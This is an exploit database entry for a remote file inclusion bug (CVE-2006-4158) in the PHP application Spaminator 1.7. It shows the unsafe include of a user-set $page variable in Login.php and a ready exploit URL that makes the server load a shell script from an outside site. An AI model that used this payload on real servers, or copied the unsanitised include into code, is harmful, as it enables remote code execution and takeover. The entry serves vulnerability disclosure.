Spaminator 1.7 - 'page' Remote File Inclusion

Author: Drago84
type: webapps
platform: php
port: 80.0
date_added: 2006-08-09  
date_updated: 2016-09-01  
verified: 1  
codes: OSVDB-27893;CVE-2006-4158  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comspaminator-1.7.tar.gz  

raw file: 2165.txt  

Spaminator 1.7. ($page) Remote File Include
CreW: ToXiC
BuG Found By Drago84

SourcE CodE:
http://freshmeat.net/redir/spaminator/16281/url_tgz/spaminator-1.7.tar.gz

Page Affect is:
/src/Login.php

Problem is
   include "$page.php";

Path :
Declare $page

ExpL:
http://server/dir_spaminator/src/Login.php?page=http://www.evalsite.com/shell.php?

Greatz:str0ke

# milw0rm.com [2006-08-10]